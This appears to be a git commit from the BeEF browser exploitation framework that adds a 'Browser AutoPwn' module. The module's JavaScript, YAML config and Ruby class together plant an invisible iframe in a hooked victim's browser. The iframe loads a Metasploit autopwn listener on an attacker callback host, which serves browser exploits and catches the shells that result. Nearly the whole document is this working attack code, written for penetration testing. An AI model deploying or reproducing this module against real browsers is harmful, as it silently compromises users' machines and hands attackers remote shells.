fixing autopwn
git-svn-id: https://beef.googlecode.com/svn/trunk@1045 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
5
modules/metasploit/browser_autopwn/command.js
Normal file
5
modules/metasploit/browser_autopwn/command.js
Normal file
@@ -0,0 +1,5 @@
|
||||
beef.execute(function() {
|
||||
var sploit = beef.dom.createInvisibleIframe();
|
||||
sploit.src = '<%= @sploit_url %>';
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=IFrame Created!");
|
||||
});
|
||||
10
modules/metasploit/browser_autopwn/config.yaml
Normal file
10
modules/metasploit/browser_autopwn/config.yaml
Normal file
@@ -0,0 +1,10 @@
|
||||
beef:
|
||||
module:
|
||||
browser_autopwn:
|
||||
enable: true
|
||||
category: "Metasploit"
|
||||
name: "Browser AutoPwn"
|
||||
description: "This module will redirect a user to the autopwn port on a Metasploit listener and then rely on Metasploit to handle the resulting shells. If the Metasploit extension is loaded, this module will pre-populate the URL to the pre-launched listener. Otherwise, enter the URL you would like the user to be redirected to."
|
||||
authors: ["sussurro"]
|
||||
target:
|
||||
working: ["ALL"]
|
||||
44
modules/metasploit/browser_autopwn/module.rb
Normal file
44
modules/metasploit/browser_autopwn/module.rb
Normal file
@@ -0,0 +1,44 @@
|
||||
class Browser_autopwn < BeEF::Core::Command
|
||||
|
||||
#
|
||||
# Defines and set up the command module.
|
||||
#
|
||||
def initialize
|
||||
@conf = BeEF::Core::Configuration.instance
|
||||
@uri = 'Enter AutoPwn URL Here'
|
||||
begin
|
||||
if @conf.get('beef.extension.metasploit.enable')
|
||||
host = @conf.get('beef.extension.metasploit.callback_host')
|
||||
url = @conf.get('beef.extension.metasploit.autopwn_url')
|
||||
@uri = "http://#{host}:8080/#{url}"
|
||||
end
|
||||
end
|
||||
super({
|
||||
'Name' => 'Browser Autopwn',
|
||||
'Description' => "This module will redirect a user to the autopwn port on a Metasploit listener and then rely on Metasploit to handle the resulting shells. If the Metasploit extension is loaded, this module will pre-populate the URL to the pre-launched listener. Otherwise, enter the URL you would like the user to be redirected to.",
|
||||
'Category' => 'Metasploit',
|
||||
'Author' => ['sussurro'],
|
||||
'Data' => [
|
||||
{ 'name' => 'sploit_url', 'ui_label' => 'Listener URL', 'value' => @uri, 'width'=>'200px' },
|
||||
],
|
||||
'File' => __FILE__
|
||||
})
|
||||
|
||||
set_target({
|
||||
'verified_status' => VERIFIED_WORKING,
|
||||
'browser_name' => ALL
|
||||
})
|
||||
|
||||
use 'beef.dom'
|
||||
use_template!
|
||||
|
||||
end
|
||||
|
||||
# This method is being called when a hooked browser sends some
|
||||
# data back to the framework.
|
||||
#
|
||||
def callback
|
||||
save({'result' => @datastore['result']})
|
||||
end
|
||||
|
||||
end
|
||||
Reference in New Issue
Block a user